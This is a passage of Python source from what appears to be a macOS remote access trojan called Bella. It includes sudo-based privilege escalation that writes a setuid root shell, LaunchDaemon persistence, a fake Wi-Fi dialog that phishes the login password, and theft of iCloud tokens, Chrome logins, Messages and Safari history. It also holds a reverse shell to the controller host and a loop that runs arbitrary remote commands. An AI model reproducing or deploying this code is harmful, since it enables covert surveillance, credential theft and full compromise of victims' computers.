1320 subprocess.check_output("echo %s | sudo -S chown 0:0 /usr/local/roots; echo %s | sudo -S chmod 4777 /usr/local/roots" % (password, password), shell=True) #perform setUID on shell
1321 except Exception as e:
1322 return (False, "%sUser's local password gives us sudo access!\n%sThere was an error setting the SUID bit.\n[%s]\n" % (greenPlus, red_minus, e))
1323 return (True, "%sUser's local password gives us sudo access!\n%sSUID root file written to /usr/local/roots!\n" % (blue_star, greenPlus))
1324 else:
1325 #LPEpath should be a path to an interactive root shell (thinking mach race)
1326 #### IF THIS LINE IS STILL HERE, THEN THIS MACH RACE / LPE DOES NOT WORK. Code needs to be added to actually install the shell ####
1327 try:
1328 subprocess.check_output("%s <<< 'chown 0:0 /usr/local/roots; chmod 4777 /usr/local/roots'" % LPEpath, shell=True) #perform setUID on shell
1329 return (True, "%sUser is susceptible to LPE!\n%sSUID root file written to /usr/local/roots!\n" % (blue_star, greenPlus))
1330 except Exception as e:
1331 return (False, "%sUser is susceptible to LPE!\n%sThere was an error setting the SUID bit.\n[%s]\n" % (greenPlus, red_minus, e))
1332
1333def migrateToRoot(rootsPath):
1334 #precondition to this function call is that a root shell exists at /usr/local/roots and that os.getuid != 0
1335 #therefore, we will not use the do_root() function, and will instead call the roots binary directly.
1336 #we do this because we want full control over what happens. The migration is a critical process
1337 #no room for error. an error could break our shell.
1338 ### in order to test this function in development, bella must be installed through the INSTALLER script generated by BUILDER
1339
1340 relativeBellaPath = '/' + '/'.join(get_bella_path().split("/")[3:])
1341
1342 if not os.path.isfile('%sbella.db' % get_bella_path()): #if we can execute this path
1343 send_msg("Migration aborted. Could not find bella.db in\n\t[%s]" % get_bella_path(), False)
1344 return
1345 if not os.path.isfile('%sBella' % get_bella_path()): #if we can execute this path
1346 send_msg("%sMigration halted. Could not find Bella binary in:\n\t[%s].\n" % (red_minus, get_bella_path()), False)
1347 return
1348 if not os.path.isfile('/Users/%s/Library/LaunchAgents/%s.plist' % (get_bella_user(), launch_agent_name)): #if we can execute this path
1349 send_msg("%sMigration halted. Could not find LaunchAgent in:\n\t[/Users/%s/Library/LaunchAgents/%s.plist].\n" % (red_minus, get_bella_user(), launch_agent_name), False)
1350 return
1351
1352 """Create new bella location in /Library"""
1353 error = Popen("%s \"mkdir -p '%s'\"" % (rootsPath, relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1354 if error != '':
1355 send_msg("%sError creating path:\n\t%s" % (red_minus, error), False)
1356 return
1357 else:
1358 send_msg("%sCreated path '%s'.\n" % (blue_star, relativeBellaPath), False)
1359
1360 """Copy bella database from current helper_location to new one in /Library"""
1361 error = Popen("%s \"cp '%sbella.db' '%sbella.db'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1362 if error != '':
1363 send_msg("%sError copying Bella DB:\n\t%s" % (red_minus, error), False)
1364 return
1365 else:
1366 send_msg("%sCopied Bella DB '%sbella.db' to '%sbella.db'.\n" % (blue_star, get_bella_path(), relativeBellaPath), False)
1367
1368 """Copy bella binary from current helper_location to new one in /Library"""
1369 error = Popen("%s \"cp '%sBella' '%sBella'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1370 if error != '':
1371 send_msg("%sError copying Bella binary:\n\t%s" % (red_minus, error), False)
1372 return
1373 else:
1374 send_msg("%sCopied Bella binary '%sBella' to '%sBella'.\n" % (blue_star, get_bella_path(), relativeBellaPath), False)
1375
1376 """Copy bella launch_agent_name from current one to new one in /Library/LaunchDaemons"""
1377 error = Popen("%s \"cp '/Users/%s/Library/LaunchAgents/%s.plist' '/Library/LaunchDaemons/%s.plist'\"" % (rootsPath, get_bella_user(), launch_agent_name, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1378 if error != '': #cp bella db to /Library (root location)
1379 send_msg("%sError copying launchagent '/Users/%s/Library/LaunchAgents/%s.plist' to '/Library/LaunchDaemons/%s.plist'.\n" % (red_minus, get_bella_user(), launch_agent_name, launch_agent_name), False)
1380 return
1381 else:
1382 send_msg("%sCopied launchagent '/Users/%s/Library/LaunchAgents/%s.plist' to '/Library/LaunchDaemons/%s.plist'.\n" % (blue_star, get_bella_user(), launch_agent_name, launch_agent_name), False)
1383
1384 """Replace path to bella binary in the new launchDaemon"""
1385 error = Popen("%s \"sed -i \'\' -e 's@/Users/%s/Library/@/Library/@' /Library/LaunchDaemons/%s.plist\"" % (rootsPath, get_bella_user(), launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1386 if error != '':
1387 send_msg("%sError replacing LaunchDaemon in line:\n\t%s" % (red_minus, error), False)
1388 return
1389 else:
1390 send_msg("%sReplaced LaunchDaemon in line.\n" % blue_star, False)
1391
1392 """Load new LaunchDaemon and then 'delete' the server"""
1393 error = Popen("%s \"launchctl load -w /Library/LaunchDaemons/%s.plist\"" % (rootsPath, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1394 if 'service already loaded' not in error and error != '':
1395 send_msg("%sError loading LaunchDaemon:\n\t%s" % (red_minus, error), False)
1396 return
1397 else:
1398 send_msg("%sLoaded LaunchDaemon.\n" % blue_star, False)
1399
1400 send_msg("%sRemoving current server.\n" % yellow_star, False)
1401 removeServer()
1402 return
1403
1404def removeServer():
1405 subprocess_cleanup()
1406 destroyer = "rm -rf %s" % get_bella_path()
1407 if os.getuid() == 0:
1408 destroyer += "; rm -f /Library/LaunchDaemons/%s.plist" % (launch_agent_name)
1409 else:
1410 destroyer += "; rm -f /Users/%s/Library/LaunchAgents/%s.plist" % (get_bella_user(), launch_agent_name)
1411 os.system(destroyer)
1412 send_msg("Server destroyed.\n", True)
1413 unloader = "launchctl remove %s" % launch_agent_name
1414 os.system(unloader)
1415
1416def rooter(): #ROOTER MUST BE CALLED INDEPENDENTLY -- Equivalent to getsystem
1417 if os.getuid() == 0:
1418 send_msg("%sWe are already root.\n" % yellow_star, True)
1419 return
1420 else:
1421 send_msg("%sWe are not root. Attempting to root.\n" % blue_star, False)
1422
1423 sys_vers = str(platform.mac_ver()[0])
1424 if is_there_SUID_shell():
1425 migrateToRoot('/usr/local/roots')
1426 send_msg('', True)
1427 return
1428
1429 if local_pw_read():
1430 send_msg("%sLocal PW present.\n" % greenPlus, False)
1431 ### We have a local password, let us try to use it to get a root shell ###
1432 binarymake = make_SUID_root_binary(local_pw_read(), None)
1433 send_msg(binarymake[1], False)
1434 if binarymake[0]:
1435 #updateDB('local user password', 'rootedMethod')
1436 #send_msg('', True)
1437 migrateToRoot('/usr/local/roots')
1438 send_msg('', True)
1439 return
1440 else:
1441 send_msg("%sNo local user password found. This will give us system and can be phished.\n" % red_minus, False)
1442
1443 if sys_vers.startswith("10.8") or sys_vers.startswith("10.9") or sys_vers.startswith("10.10") or sys_vers == ("10.11") or sys_vers == ("10.11.1") or sys_vers == ("10.11.2") or sys_vers == ("10.11.3"):
1444 binarymake = make_SUID_root_binary(None, '%sexecuter/root_shell.sh' % get_bella_path())
1445 if binarymake[0]:
1446 #updateDB('local privilege escalation', 'rootedMethod')
1447 send_msg(binarymake[1], False)
1448 migrateToRoot('/usr/local/roots')
1449 send_msg('', True)
1450 return
1451 send_msg("%sLocal privilege escalation not implemented for OSX %s\n" % (red_minus, sys_vers), True)
1452 return
1453
1454def tokenFactory(authCode):
1455 #now that we have proper b64 encoded auth code, we will attempt to get all account tokens.
1456 try:
1457 req = urllib2.Request("https://setup.icloud.com/setup/get_account_settings")
1458 req.add_header('Authorization', 'Basic %s' % authCode)
1459 req.add_header('Content-Type', 'application/xml') #for account settings it appears we cannot use json. type must be specified.
1460 req.add_header('X-MMe-Client-Info', '<iPhone6,1> <iPhone OS;9.3.2;13F69> <com.apple.AppleAccount/1.0 (com.apple.Preferences/1.0)>') #necessary header to get tokens.
1461 resp = urllib2.urlopen(req)
1462 content = resp.read()
1463 tokens = []
1464 #staple it together & call it bad weather
1465 accountInfo = []
1466 accountInfo.append(plistlib.readPlistFromString(content)["appleAccountInfo"]["fullName"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["appleId"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"])
1467
1468 try:
1469 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"])
1470 except:
1471 pass
1472 try:
1473 tokens.append(plistlib.readPlistFromString(content)["tokens"]["cloudKitToken"])
1474 except:
1475 pass
1476 try:
1477 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFAppToken"])
1478 except:
1479 pass
1480 try:
1481 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMIPToken"])
1482 except:
1483 pass
1484 try:
1485 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFToken"])
1486 except:
1487 pass
1488
1489 return (tokens, accountInfo)
1490 except Exception, e:
1491 return '%s' % e
1492
1493def tokenForce():
1494 global bellaConnection
1495 token = tokenRead()
1496 if token != False:
1497 send_msg("%sFound already generated token!%s\n%s" % (blue_star, blue_star, token), True)
1498 return 1
1499 while True: #no token exists, begin blast
1500 ### sooooo turns out that SIP disables dtrace related things from working ... so this is useless 10.11 and up. will
1501 ### switch out for chain breaker
1502 from Foundation import NSData, NSPropertyListSerialization
1503 ### CTRLC listener
1504 bellaConnection.settimeout(0.0)
1505 try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
1506 if recv_msg(bellaConnection) == 'sigint9kill':
1507 sys.stdout.flush()
1508 send_msg('terminated', True) #send back confirmation along with STDERR
1509 done = True
1510 bellaConnection.settimeout(None)
1511 return 1
1512 except socket.error as e: #no message, business as usual
1513 pass
1514 bellaConnection.settimeout(None)
1515 kchain = getKeychains()
1516 send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False)
1517
1518 iCloudKey = check_output("launchctl asuser %s security find-generic-password -ws 'iCloud' '%s'" % (bella_UID, kchain))
1519 if not iCloudKey[0]:
1520 if 51 == iCloudKey[2]:
1521 send_msg("%sUser clicked deny.\n" % red_minus, False)
1522 continue
1523 elif 44 == iCloudKey[2]:
1524 send_msg("%sNo iCloud Key Found!\n" % red_minus, True)
1525 return 0
1526 else:
1527 send_msg("Strange error [%s]\n" % iCloudKey[1], True)
1528 return 0
1529 iCloudKey = iCloudKey[1].replace('\n', '')
1530
1531 msg = base64.b64decode(iCloudKey)
1532 key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
1533 hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
1534 hexedKey = binascii.hexlify(hashed)
1535 IV = 16 * '0'
1536 mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted
1537 for x in mme_token_file:
1538 try:
1539 int(x.split("/")[-1])
1540 mme_token_file = x
1541 except ValueError:
1542 continue
1543 send_msg("%sDecrypting token plist\n\t[%s]\n" % (blue_star, mme_token_file), False)
1544 decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True)
1545 binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
1546 token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
1547 tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"])
1548 tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"])
1549 logged = updateDB(encrypt(tokz), 'mme_token') #update the DB....
1550 send_msg(tokz, True)
1551 return 1
1552
1553def tokenRead():
1554 token = readDB('mme_token')
1555 if not token:
1556 return token
1557 return decrypt(token)
1558
1559def chromeSSRead():
1560 sskey = readDB('chromeSS')
1561 if not sskey:
1562 return sskey
1563 return decrypt(sskey)
1564
1565def local_pw_read():
1566 pw = readDB('localPass')
1567 if not pw:
1568 return pw
1569 return decrypt(pw)
1570
1571def applepwRead():
1572 pw = readDB('applePass')
1573 if not pw:
1574 return pw
1575 return decrypt(pw)
1576
1577def screenShot():
1578 screen = os.system("screencapture -x /tmp/screen")
1579 try:
1580 with open("/tmp/screen", "r") as shot:
1581 contents = base64.b64encode(shot.read())
1582 os.remove("/tmp/screen")
1583 return "screenCapture%s" % contents
1584 except IOError:
1585 return "screenCapture%s" % "error"
1586
1587def send_msg(msg, EOF):
1588 global bellaConnection
1589 msg = pickle.dumps((msg, EOF))
1590 finalMsg = struct.pack('>I', len(msg)) + msg #serialize into string. pack bytes so that recv function knows how many bytes to loop
1591 bellaConnection.sendall(finalMsg) #send serialized
1592
1593def getWifi():
1594 ssid = subprocess.Popen("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
1595 try:
1596 value = ssid.stdout.read().split('SSID: ')[-1].split('\n')[0] + ssid.stderr.read()
1597 except Exception as e:
1598 value = "AirPort: Off"
1599 return value
1600
1601def user_pass_phish():
1602 global bellaConnection
1603 userTB = cur_GUI_user()
1604 wifiNetwork = getWifi()
1605 icon = readDB('lock_icon', True)
1606 if not icon:
1607 send_msg('Error generating lock icon, using system default.\n')
1608 path = ':System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:Actions.icns'
1609 else:
1610 path = payload_generator(icon).replace("/", ":")
1611 send_msg("Attempting to phish current GUI User [%s]\n" % userTB, False)
1612 while True:
1613 ### CTRLC listener
1614 bellaConnection.settimeout(0.0)
1615 try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
1616 if recv_msg(bellaConnection) == 'sigint9kill':
1617 sys.stdout.flush()
1618 send_msg('terminated', True) #send back confirmation along with STDERR
1619 done = True
1620 bellaConnection.settimeout(None)
1621 return 1
1622 except socket.error as e: #no message, business as usual
1623 pass
1624 bellaConnection.settimeout(None)
1625 check = local_pw_read()
1626 if isinstance(check, str):
1627 send_msg("%sAccount password already found:\n%s\n" % (blue_star, check.replace("\n", "")), True)
1628 return 1
1629 #os.system("networksetup -setairportpower en0 off") We can't disable Wi-Fi actually, bc then we lose our connection
1630 script = "launchctl asuser %s osascript -e 'tell app \"Finder\" to activate' -e 'tell app \"Finder\" to display dialog \"Could not find password to the network \\\"%s\\\". To access the network password please enter your keychain [login] password.\" default answer \"\" buttons {\"Always Allow\", \"Deny\", \"Allow\"} with icon file \"%s\" with hidden answer giving up after 15'" % (bella_UID, wifiNetwork, path) #with title \"Network Connection\" giving up after 15'" % wifiNetwork
1631 out = subprocess.check_output(script, shell=True)
1632 password = out.split("text returned:")[-1].replace("\n", "").split(", gave up")[0]
1633 send_msg("%sUser has attempted to use password: [%s]\n" % (blue_star, password), False)
1634 if password == "":
1635 continue
1636 if verifyPassword(userTB, password):
1637 send_msg("%sVerified! Account password is: [%s]%s\n" % (greenPlus, password, endANSI), False)
1638 subprocess_cleanup()
1639 updateDB(encrypt("%s:%s" % (userTB, password)), 'localPass') #store encrypted pass in DB
1640 #os.system("networksetup -setairportpower en0 on") #enable Wi-Fi
1641 send_msg("%sUsing this password to root Bella.\n" % yellow_star, False)
1642 rooter()
1643 return 1
1644 else:
1645 send_msg("%sUser input: [%s] failed. Trying again.\n" % (red_minus, password), False)
1646 return 1 #this should never get here, while loop should continue indefinitely.
1647
1648def verifyPassword(username, password):
1649 try:
1650 output = subprocess.check_output("dscl /Local/Default -authonly %s %s" % (username, password), shell=True)
1651 return True
1652 except:
1653 return False
1654
1655def vnc_start(vnc_port):
1656 send_msg('%sOpening VNC Connection.\n' % blue_star, False)
1657 if readDB('vnc', True):
1658 payload_path = payload_generator(readDB('vnc', True))
1659 else:
1660 return "%sNo VNC payload was found"
1661 pipe = subprocess.Popen('%s -connectHost %s -connectPort %s -rfbnoauth -disableLog' % (payload_path, host, vnc_port), shell=True, stderr=subprocess.PIPE)
1662 subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'VNC')
1663 send_msg('%sOpened VNC [%s].\n' % (blue_star, pipe.pid), False)
1664 send_msg('%sOpening Stream.\n' % blue_star, False)
1665 time.sleep(2)
1666 send_msg("%sStarted VNC stream over -> %s:%s\n" % (blue_star, host, vnc_port), True)
1667 return 0
1668
1669def get_bella_path():
1670 return helper_location
1671
1672def get_bella_user():
1673 return bella_user
1674
1675def bella(*Emma):
1676 ### We start with having bella only work for the user who initially runs it ###
1677 ### For now, we will assume that the initial user to run Bella is NOT root ###
1678 ### This assumption is made bc if we have a root shell, we likely have a user shell ###
1679 ###set global whoami to current user, this will be stored as the original user in DB
1680 global bellaConnection
1681
1682 if not os.path.isdir(get_bella_path()):
1683 os.makedirs(get_bella_path())
1684 creator = createDB() #createDB will reference the global whoami
1685 if not creator[0]:
1686
1687 pass
1688
1689 os.chdir("/Users/%s/" % get_bella_user())
1690
1691 if readDB('lastLogin') == False: #if it hasnt been set
1692 updateDB('Never', 'lastLogin')
1693
1694 if not isinstance(get_model(), str): #if no model, put it in
1695 output = check_output("sysctl hw.model")
1696 if output[0]:
1697 modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "")
1698 output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw)
1699 if not output[0]:
1700 model = 'Macintosh'
1701 else:
1702 model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space.
1703 updateDB(model, 'model')
1704
1705 while True:
1706 subprocess_cleanup()
1707
1708
1709 #create encrypted socket.
1710 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1711 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
1712 sock.settimeout(None)
1713 bellaConnection = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1, cert_reqs=ssl.CERT_NONE)
1714
1715 try:
1716
1717 bellaConnection.connect((host,port))
1718
1719 except socket.error as e:
1720 if e[0] == 61:
1721
1722 pass
1723 else:
1724
1725 pass
1726 time.sleep(5)
1727 continue
1728
1729
1730 while True:
1731 try:
1732 remove_SUID_shell() #remove if it exists
1733
1734 data = recv_msg(bellaConnection)
1735
1736 if not data:
1737
1738 break #start listening again.
1739 elif data.startswith('cd'):
1740 path = data[3:]
1741 try:
1742 if path.startswith("~"):
1743 os.chdir(os.path.expanduser(path))
1744 else:
1745 os.chdir(path)
1746 files = []
1747 for x in os.listdir(os.getcwd()):
1748 if not x.startswith('.'):
1749 files.append(x)
1750 stdout_val = '\n'.join(files)
1751 send_msg("cwdcwd%s\n%s" % (os.getcwd(), stdout_val), True)
1752 except OSError, e:
1753 if e[0] == 2:
1754 send_msg("%sNo such file or directory.\n" % red_minus, True)
1755 else:
1756 send_msg("%sError\n%s\n" % (red_minus, e), True)
1757
1758 elif data == 'ls': #will be our default ls handler
1759 fileList = [] #this will be used for autocompletion.
1760 filePrint = []
1761 for x in os.listdir(os.getcwd()):
1762 if not x.startswith('.') and x != "Icon\r":
1763 fileList.append(x)
1764 for x in sorted(fileList):
1765 try:
1766 perm = oct(os.stat(x).st_mode)[-3:]
1767 timestamp = time.strftime("%h %e %H:%M", time.localtime(os.lstat(x).st_mtime))
1768 size = byte_convert(os.lstat(x).st_size)
1769 hardlinks = str(os.lstat(x).st_nlink)
1770 isDirectory = stat.S_ISDIR(os.lstat(x).st_mode)
1771 if isDirectory:
1772 dirString = "d"
1773 else:
1774 dirString = "-"
1775 isExecutable = False
1776 if '1' in perm or '3' in perm or '7' in perm:
1777 isExecutable = True
1778 owner = pwd.getpwuid(os.lstat(x).st_uid).pw_name
1779 group = grp.getgrgid(os.lstat(x).st_gid).gr_name
1780 permList = {"0": "---", "1": "--x", "2": "-w-", "3": "-wx", "4": "r--", "5": "r-x", "6": "rw-", "7": "rwx"}
1781 permString = "%s%s%s" % (permList["%s" % perm[0]], permList["%s" % perm[1]], permList["%s" % perm[2]] )
1782 if isDirectory:
1783 x = "%s%s%s/" % (light_blue, x, endANSI)
1784 elif isExecutable:
1785 x = "%s%s%s%s*" % (dark_green, bold, x, endANSI)
1786 else:
1787 pass
1788 fileData = [dirString + permString, hardlinks, owner, group, size, timestamp, x]
1789 filePrint.append(fileData)
1790 except:
1791 pass
1792 send_msg('lserlser' + pickle.dumps((fileList, filePrint)), True)
1793
1794 elif data == 'quit' or data == 'exit':
1795 send_msg("Exit", True)
1796 elif data == "initializeSocket":
1797 send_msg(initialize_socket(), True)
1798 elif data.startswith("payload_response_SBJ29"):
1799 payloads_encoded = data.split(':::')[1]
1800
1801
1802 if inject_payloads(payloads_encoded):
1803 send_msg('Injected payloads into Bella.\n', False)
1804
1805 else:
1806 send_msg('Error injecting payloads', False)
1807
1808 send_msg(initialize_socket(), True)
1809 elif data == "iCloud_token":
1810 tokenForce()
1811 elif data == "insomnia_load":
1812 send_msg(insomnia_load(), True)
1813 elif data == "insomnia_unload":
1814 send_msg(insomnia_unload(), True)
1815 elif data == "manual":
1816 send_msg(manual(), True)
1817 elif data == "screen_shot":
1818 send_msg(screenShot(), True)
1819 elif data == "chrome_safe_storage":
1820 chrome_safe_storage()
1821 elif data == "check_backups":
1822 send_msg(iTunes_backup_looker()[0], True)
1823 elif data == "keychain_download":
1824 send_msg(keychain_download(), True)
1825 elif data == "iCloud_phish":
1826 check = applepwRead()
1827 if isinstance(check, str):
1828 send_msg("%sAlready have an apple pass.\n%s\n" % (blue_star, check), True)
1829 else:
1830 send_msg("appleIDPhishHelp" + appleIDPhishHelp(), True)
1831 elif data.startswith("iCloudPhishFinal"):
1832 appleIDPhish(data[16:].split(":")[0], data[16:].split(":")[1])
1833 elif data == "user_pass_phish":
1834 user_pass_phish()
1835 elif data.startswith("disableKM"):
1836 send_msg(disable_keyboard_mouse(data[9:]), True)
1837 elif data.startswith("enableKM"):
1838 send_msg(enable_keyboard_mouse(data[8:]), True)
1839 elif data == "reboot_server":
1840 send_msg(os.kill(bellaPID, 9), True)
1841 elif data == "current_users":
1842 send_msg('\001\033[4mCurrently logged in users:\033[0m\002\n%s' % check_current_users(), True)
1843 elif data == "bella_info":
1844 bella_info()
1845 elif data == "get_root":
1846 rooter()
1847 elif data == 'mike_stream':
1848 time.sleep(3)
1849 reader = readDB('microphone', True)
1850 if not reader:
1851 send_msg('%sError reading Microphone payload from Bella DB.\n' % red_minus, True)
1852 else:
1853 path = payload_generator(reader)
1854 mike_helper(path)
1855
1856 elif data == "chrome_dump":
1857 returnVal = ""
1858 checkChrome = chromeSSRead()
1859 if isinstance(checkChrome, str):
1860 safe_storage_key = checkChrome
1861 loginData = glob("/Users/%s/Library/Application Support/Google/Chrome/*/Login Data" % get_bella_user()) #dont want to do all
1862 for x in loginData:
1863 returnVal += chrome_dump(safe_storage_key, x)
1864 send_msg(returnVal, True)
1865 else:
1866 send_msg("%s%sNo Chrome Safe Storage Key found!\n" % (returnVal, red_minus), True)
1867
1868 elif data == "iCloud_FMIP":
1869 (username, password, usingToken) = iCloud_auth_process(False)
1870 if password == False: #means we couldnt get any creds
1871 send_msg(username, True) #send reason why
1872 else:
1873 if usingToken:
1874 send_msg("%sCannot locate iOS devices with only a token. Run iCloudPhish if you would like to phish the user for their iCloud Password.\n" % red_minus, True)
1875 else:
1876 FMIP(username, password)
1877
1878 elif data == "iCloud_read":
1879 key = "%sThere is no iCloud ID available.\n" % red_minus
1880 check = applepwRead()
1881 if isinstance(check, str):
1882 key = applepwRead() + "\n"
1883 send_msg(key, True)
1884
1885 elif data == "lpw_read":
1886 key = "%sThere is no local account available.\n" % red_minus
1887 check = local_pw_read()
1888 if isinstance(check, str):
1889 key = "%s\n" % check
1890 send_msg(key, True)
1891
1892 elif data.startswith("mitm_start"):
1893 interface = data.split(":::")[1]
1894 cert = data.split(":::")[2]
1895 mitm_start(interface, cert)
1896
1897 elif data.startswith("mitm_kill"):
1898 interface = data.split(":::")[1]
1899 certsha1 = data.split(":::")[2]
1900 mitm_kill(interface, certsha1)
1901
1902 elif data == 'chat_history':
1903 chatDb = globber("/Users/*/Library/Messages/chat.db") #just get first chat DB
1904 serial = []
1905 for x in chatDb:
1906 data = bz2.compress(protected_file_reader(x))
1907 serial.append((x.split("/")[2], data))
1908 serialized = pickle.dumps(serial)
1909 send_msg("C5EBDE1F" + serialized, True)
1910
1911 elif data == 'safari_history':
1912 historyDb = globber("/Users/*/Library/Safari/History.db")
1913 serial = []
1914 for history in historyDb:
1915 copypath = tempfile.mkdtemp()
1916 with open('%s/safari' % copypath, 'w') as content:
1917 content.write(protected_file_reader(history))
1918 database = sqlite3.connect('%s/safari' % copypath)
1919 sql = "SELECT datetime(hv.visit_time + 978307200, 'unixepoch', 'localtime') as last_visited, hi.url, hv.title FROM history_visits hv, history_items hi WHERE hv.history_item = hi.id;"
1920 content = ""
1921 with database:
1922 try:
1923 for x in database.execute(sql):
1924 x = filter(None, x)
1925 content += ' | '.join(x).encode('ascii', 'ignore') + '\n'
1926 except:
1927 pass
1928 content = bz2.compress(content)
1929 serial.append((history.split("/")[2], content)) #append owner of history
1930 shutil.rmtree(copypath)
1931 serialized = pickle.dumps(serial)
1932 send_msg("6E87CF0B" + serialized, True)
1933
1934 elif data.startswith('download'):
1935 fileName = data[8:]
1936 try:
1937 with open(fileName, 'rb') as content:
1938 file_content = content.read()
1939 send_msg("%sFound [%s]. Preparing for download.\n" % (yellow_star, fileName), False)
1940 send_msg("downloader%s" % pickle.dumps((file_content, fileName)), True) #pack tuple
1941 except IOError, e:
1942 send_msg("%s%s\n" % (red_minus, e), True)
1943 except OSError, e:
1944 send_msg("%s%s\n" % (red_minus, e), True)
1945
1946 elif data.startswith('uploader'):
1947 (file_content, fileName) = pickle.loads(data[8:])
1948 try:
1949 send_msg("%sBeginning write of [%s].\n" % (yellow_star, fileName), False)
1950 with open(fileName, 'wb') as content:
1951 content.write(file_content)
1952 send_msg("%sSucessfully wrote [%s/%s]\n" % (blue_star, os.getcwd(), fileName), True)
1953 except IOError, e:
1954 send_msg("%s%s\n" % (red_minus, e), True)
1955 except OSError, e:
1956 send_msg("%s%s\n" % (red_minus, e), True)
1957
1958 elif data == "iCloud_query":
1959 (error, errorMessage, dsid, token) = main_iCloud_helper()
1960 if error:
1961 send_msg(errorMessage, True)
1962 else:
1963 iCloud_storage_helper(dsid, token)
1964
1965 elif data == "iCloud_FMF":
1966 (error, errorMessage, dsid, token) = main_iCloud_helper()
1967 if error:
1968 send_msg(errorMessage, True)
1969 else:
1970 cardData = get_card_data(dsid, token)
1971 send_msg(heard_it_from_a_friend_who(dsid, token, cardData), True)
1972
1973 elif data == 'iCloud_contacts':
1974 (error, errorMessage, dsid, token) = main_iCloud_helper()
1975 if error:
1976 send_msg(errorMessage, True)
1977 else:
1978 cardData = get_card_data(dsid, token)
1979 for vcard in cardData:
1980 send_msg("\033[1m%s\033[0m\n" % vcard[0][0], False)
1981 for numbers in vcard[1]:
1982 send_msg("[\033[94m%s\033[0m]\n" % numbers, False)
1983 for emails in vcard[2]:
1984 send_msg("[\033[93m%s\033[0m]\n" % emails, False)
1985 localToken = tokenRead()
1986 if localToken != False:
1987 send_msg('\033[1mFound %s iCloud Contacts for %s!\033[0m\n' % (len(cardData), localToken.split("\n")[0]), True)
1988 else:
1989 send_msg('', True)
1990
1991 elif data == '3C336E68854':
1992 time.sleep(2)
1993 cmd = 'python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(\'/bin/bash\')" ' + host + ' 3818'
1994 x = subprocess.Popen(cmd, shell=True)
1995
1996 send_msg('', True)
1997
1998 elif data.startswith('vnc_start'):
1999 vnc_port = data.split(':::')[1]
2000 time.sleep(3)
2001 vnc_start(vnc_port)
2002
2003 elif data == 'removeserver_yes':
2004 removeServer()
2005
2006 elif data == 'shutdownserver_yes':
2007 send_msg("Server will shutdown in 3 seconds.\n", True)
2008 subprocess_cleanup()
2009 os.system("sleep 3; launchctl remove %s" % launch_agent_name)
2010 #we shouldnt have to kill iTunes, but if there is a problem with launchctl ..
2011
2012 elif data == 'get_client_info':
2013 output = check_output('scutil --get LocalHostName | tr -d "\n"; printf -- "->"; whoami | tr -d "\n"')
2014 if not output[0]:
2015 send_msg('Error-MB-Pro -> Error', True)
2016 continue
2017 send_msg(output[1], True)
2018
2019 else:
2020 try:
2021 blocking = False
2022 blockers = ['sudo', 'nano', 'ftp', 'emacs', 'telnet', 'caffeinate', 'ssh'] #the best i can do for now ...
2023 for x in blockers:
2024 if x in data:
2025 send_msg('%s[%s] is a blocking command. It will not run.\n' % (yellow_star, x), True)
2026 blocking = True
2027 break
2028 if not blocking:
2029 proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
2030 ####### MAKE THIS A GLOBAL RUNNER FUNCTION THAT WILL BE USED IN LIEU OF ALL CHECK_OUTPUTS #######
2031 done = False
2032 while proc.poll() == None:
2033 bellaConnection.settimeout(0.0) #set socket to non-blocking (dont wait for data)
2034 try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
2035 if recv_msg(bellaConnection) == 'sigint9kill':
2036 sys.stdout.flush()
2037 proc.terminate()
2038 send_msg('terminated', True) #send back confirmation along with STDERR
2039 done = True
2040 bellaConnection.settimeout(None)
2041 break
2042 except socket.error as e: #no message, business as usual
2043 pass
2044 bellaConnection.settimeout(None)
2045
2046 line = proc.stdout.readline()
2047 if line != "":
2048 send_msg(line, False)
2049 else:
